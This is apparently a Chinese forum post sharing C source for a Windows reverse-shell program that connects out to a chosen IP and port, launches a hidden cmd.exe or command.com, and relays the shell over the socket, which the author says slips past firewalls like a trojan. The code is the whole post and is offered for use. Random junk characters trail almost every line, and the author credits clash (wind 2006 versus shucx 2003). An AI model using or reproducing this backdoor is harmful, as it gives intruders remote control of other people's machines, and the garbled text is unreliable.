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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 dy;Ue5  
>sdj6^[+  
/* ============================== {=j!2v#8~  
Rebound port in Windows NT a0Cf.[L  
By wind,2006/7 .G#S*L  
===============================*/ iV[g.sP-  
#include KD*,u{v;  
#include !9DqW&8  
' D+h_*H  
#pragma comment(lib,"wsock32.lib") ~S15tZ $  
.HF+JHIUu  
void OutputShell(); @;M( oFS9  
SOCKET sClient; bWo-( qxq  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2c@R!*  
~sshhuF  
void main(int argc,char **argv) /cUcfe#X  
{ (X@JlAfB  
WSADATA stWsaData; 0: R}  
int nRet; .@Z qCH  
SOCKADDR_IN stSaiClient,stSaiServer; h #Od tc1)  
y.26:c(  
if(argc != 3) =O1N*'e  
{ ngj=w;7~+  
printf("Useage:\n\rRebound DestIP DestPort\n"); }9 N, +*  
return; #.UooFk+Y  
} _ro^<V$%  
_9wX8fh3D  
WSAStartup(MAKEWORD(2,2),&stWsaData); \@vR*E  
2?58=i%b  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -mOSB(#bo  
*+re2O)Eh'  
stSaiClient.sin_family = AF_INET; e3UGYwQ  
stSaiClient.sin_port = htons(0); q [Rqy !,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tbF>"?FY/  
Nt9M$?\P  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A1zM$ wDU  
{ 1w/1k6`0  
printf("Bind Socket Failed!\n"); LCx{7bN1ro  
return; O&Q_ vY  
} N^pTj<M<g  
OACRw%J:X{  
stSaiServer.sin_family = AF_INET; N|Xx#/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); k{(R.gLZG  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); I4:4)V?  
"qjkw f)\  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'Ar+k\.J  
{ ^&buX_nlO  
printf("Connect Error!"); ,y>,?6:>  
return; }&Un8Rg"h  
} G < Z)y#  
OutputShell(); bO>q`%&  
} ^EWkJW,Yc  
:#1{c^i%3  
void OutputShell() z$$ E7i  
{ 9{@[ l!]W  
char szBuff[1024]; m.e+S,i  
SECURITY_ATTRIBUTES stSecurityAttributes; O-y/K2MC*  
OSVERSIONINFO stOsversionInfo; qZACX.Hw  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =<R")D]4z  
STARTUPINFO stStartupInfo; R)MWO5  
char *szShell; 'd4I/  
PROCESS_INFORMATION stProcessInformation; S.1\e"MfI  
unsigned long lBytesRead; [Hw  
rXc-V},az8  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L|.q19b*  
16ahU$@-  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~A2{$C  
stSecurityAttributes.lpSecurityDescriptor = 0;  \B) a57  
stSecurityAttributes.bInheritHandle = TRUE; mIgc)"  
iz!E1(z(  
B/.+&AJw  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *F0O*n*7W  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g*?)o!_*  
~sT/t1Rp  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )zz^RB\p  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H6%QM}t  
stStartupInfo.wShowWindow = SW_HIDE; (? j $n?p  
stStartupInfo.hStdInput = hReadPipe; 8}z]B^?Fy  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yH5^EY7rQ  
ms2y[b  
GetVersionEx(&stOsversionInfo); =&G<^7  
|b" h+  
switch(stOsversionInfo.dwPlatformId) ]=\vl>W  
{ ?3 {&"  
case 1: DKw%z8ft|  
szShell = "command.com"; qniP`P4E  
break; IZ+kw.6e  
default: V}gP'f07zy  
szShell = "cmd.exe"; CZ* #FY  
break; Agt6G\ n  
} &J(+XJM%  
HYm |  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [mwJ*GJ-  
81Ixs Qt  
send(sClient,szMsg,77,0); 3SI:su  
while(1) jej|B#?`  
{ qNb|6/DG  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +Tz Z   
if(lBytesRead) hbl%<ItI49  
{ (1pI#H"f9  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /Iht,@%E  
send(sClient,szBuff,lBytesRead,0); ML@-@BaN  
} 0qP&hybL[(  
else OiBDI3,|+  
{ RO.GD$ 3n  
lBytesRead=recv(sClient,szBuff,1024,0); z\64Qpfm  
if(lBytesRead<=0) break; Axp#8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Mx? ]7tI  
} y.,S}7l:  
} /){F0Zjjt  
ZccQ{$0H  
return; ?^y%UIzf  
}
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